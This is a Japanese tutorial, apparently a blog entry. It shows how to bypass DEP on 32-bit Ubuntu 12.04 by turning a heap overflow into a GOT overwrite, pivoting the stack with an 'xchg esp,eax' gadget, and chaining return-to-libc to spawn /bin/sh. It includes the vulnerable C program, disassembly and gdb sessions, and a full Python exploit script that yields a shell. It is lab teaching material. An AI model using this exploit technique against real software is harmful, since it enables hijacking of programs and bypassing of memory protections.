GOT overwriteとStack pivotによるDEP回避(xchg esp型)

一つ前のエントリではヒープオーバーフローを利用したGOT overwriteによりシェルコードの実行を行ったが、DEPが有効な場合ヒープ領域に置いたシェルコードを実行することはできなくなる。 スタックバッファオーバーフローにおいてDEPを回避する方法にはReturn-to-libcがあるが、ヒープオーバーフローを利用してスタック領域の値を書き換えることは容易ではない。 しかし、このような場合でもStack pivotと呼ばれる方法によりスタックの頭を差し替えることで、Return-to-libcに繋げることができることが知られている。 ここでは、ヒープオーバーフローを利用したGOT overwriteからStack pivotを行い、Return-to-libcに繋げることによるシェル起動をやってみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

ここでは、一つ前のエントリと同じコードを利用することにする。

/* www.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct Box {
    int size;
    char *buf;
};

struct Box *create_box(int size)
{
    struct Box *box;
    box = malloc(sizeof(struct Box));
    box->size = size;
    box->buf = malloc(size);
    return box;
}

void free_box(struct Box *box)
{
    free(box->buf);
    free(box);
}

int main(int argc, char *argv[])
{
    int size;
    struct Box *box1, *box2;

    size = atoi(argv[1]);
    box1 = create_box(size);
    box2 = create_box(size);
    printf("[+] box1->buf = %p\n", box1->buf);
    printf("[+] box2->buf = %p\n", box2->buf);

    strcpy(box1->buf, argv[2]);
    strcpy(box2->buf, argv[3]);
    puts(box1->buf);
    puts(box2->buf);

    free_box(box2);
    free_box(box1);

    return 0;
}

前回はDEP無効であったが、今回はASLR無効、DEPSSP有効でコンパイル・実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

$ gcc www.c

$ ./a.out 100 AAAA BBBB
[+] box1->buf = 0x804b018
[+] box2->buf = 0x804b090
AAAA
BBBB

与える文字列が指定したバッファサイズ内であれば、正しく動作していることが確認できる。

ライブラリ関数呼び出し時のレジスタの値を調べてみる

生成された実行ファイルをディスアセンブルし、puts関数呼び出し前のアセンブリコードに注目してみる。

$ objdump -M intel -d a.out
08048522 <main>:
 ...
 80485c4:       e8 f7 fd ff ff          call   80483c0 <strcpy@plt>
 80485c9:       8b 44 24 18             mov    eax,DWORD PTR [esp+0x18]
 80485cd:       8b 40 04                mov    eax,DWORD PTR [eax+0x4]
 80485d0:       89 04 24                mov    DWORD PTR [esp],eax
 80485d3:       e8 08 fe ff ff          call   80483e0 <puts@plt>
 ...

1回目のputs関数の第一引数はbox1->bufであるから、PLTセクションにあるputs@plt関数が呼ばれるときeaxレジスタにはbox1->bufのポインタが入っていることがわかる。

確認のため、gdbでも調べてみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/www/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   ...
   0x080485d3 <+177>:   call   0x80483e0 <puts@plt>
   ...
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) b *main+177
Breakpoint 1 at 0x80485d3
(gdb) run 100 AAAA BBBB
Starting program: /home/user/tmp/www/a.out 100 AAAA BBBB
[+] box1->buf = 0x804b018
[+] box2->buf = 0x804b090

Breakpoint 1, 0x080485d3 in main ()
(gdb) x/i $pc
=> 0x80485d3 <main+177>:        call   0x80483e0 <puts@plt>
(gdb) i r
eax            0x804b018        134524952
ecx            0xbffff94a       -1073743542
edx            0x804b090        134525072
ebx            0xb7fd1ff4       -1208147980
esp            0xbffff750       0xbffff750
ebp            0xbffff778       0xbffff778
esi            0x0      0
edi            0x0      0
eip            0x80485d3        0x80485d3 <main+177>
eflags         0x246    [ PF ZF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) x/s $eax
0x804b018:       "AAAA"
(gdb) quit
A debugging session is active.

        Inferior 1 [process 12380] will be killed.

Quit anyway? (y or n) y

たしかに、puts@plt関数が呼ばれるときのeaxレジスタにはbox1->bufのポインタが入っている。

ところで、ROPのエントリにて使ったlist_gadgets.pyを用いてlibcのROP gadgetを調べてみると、次のようなgadgetが存在することがわかる。

$ python list_gadgets.py /lib/i386-linux-gnu/libc.so.6 > gadgets.txt

$ cat gadgets.txt | grep xchg | grep esp
   9b8c9:       xchg   esp,eax
   ...

xchgは二つのレジスタの値を交換する命令である。 GOT overwriteの書き換え先としてこのgadgetを利用すると、ジャンプした後eaxレジスタとespレジスタの値が交換され、スタックの頭がbox1->bufに移動する。 そしてret命令が実行されると、box1->bufの最初の4バイトが次のリターンアドレスとして参照される。 つまり、スタックバッファオーバーフローにおけるReturn-to-libcと同様のレイアウトでbox1->bufにデータを入れておけば、そのままそれが実行されていくことになる。

このようにしてスタックの頭を差し替える方法は、Stack pivotと呼ばれる。 Stack pivotには、次のようなROP gadgetがよく用いられる。

  • xchg esp,eax
  • mov esp,eax
  • add esp,[some constant]

エクスプロイトコードを書いてみる

上の説明をもとに、puts関数のGOTアドレスをxchg esp,eaxを指すアドレスに書き換え、Return-to-libcに繋ぐエクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen

size = int(sys.argv[1])
base_libc = int(sys.argv[2], 16)

addr_got_puts = 0x804a010                     # objdump -d -j.plt a.out
addr_libc_system = base_libc + 0x0003f430     # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " system"
addr_libc_exit = base_libc + 0x00032fb0       # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " exit"
addr_libc_binsh = base_libc + 0x161d98        # strings -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
addr_libc_pivot_eax = base_libc + 0x9b8c9     # search "xchg esp,eax" by list_gadgets.py

buf1 = struct.pack('<I', addr_libc_system)
buf1 += struct.pack('<I', addr_libc_exit)
buf1 += struct.pack('<I', addr_libc_binsh)
buf1 += 'A' * (size - len(buf1))
buf1 += 'AAAA' * 2
buf1 += struct.pack('<I', addr_got_puts)

buf2 = struct.pack('<I', addr_libc_pivot_eax)

with open('buf1', 'wb') as f:
    f.write(buf1)
with open('buf2', 'wb') as f:
    f.write(buf2)

p = Popen(['./a.out', str(size), buf1, buf2])
p.wait()

このコードは、二つのBoxが確保するバッファのサイズ、libcのベースアドレスを順に引数に取る。 また、Return-to-libcにおいてはsystem関数から/bin/shを呼び出し、その後exit関数が実行されるようにしている。

gdbでlibcのベースアドレスを調べ、そのアドレスを引数にセットして実行してみる。

$ python exploit.py 100 0xb7e2c000
[+] box1->buf = 0x804b018
[+] box2->buf = 0x804b090
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

DEPが有効な実行ファイルに対し、Stack pivotからのReturn-to-libcでシェルが起動できていることが確認できた。

関連リンク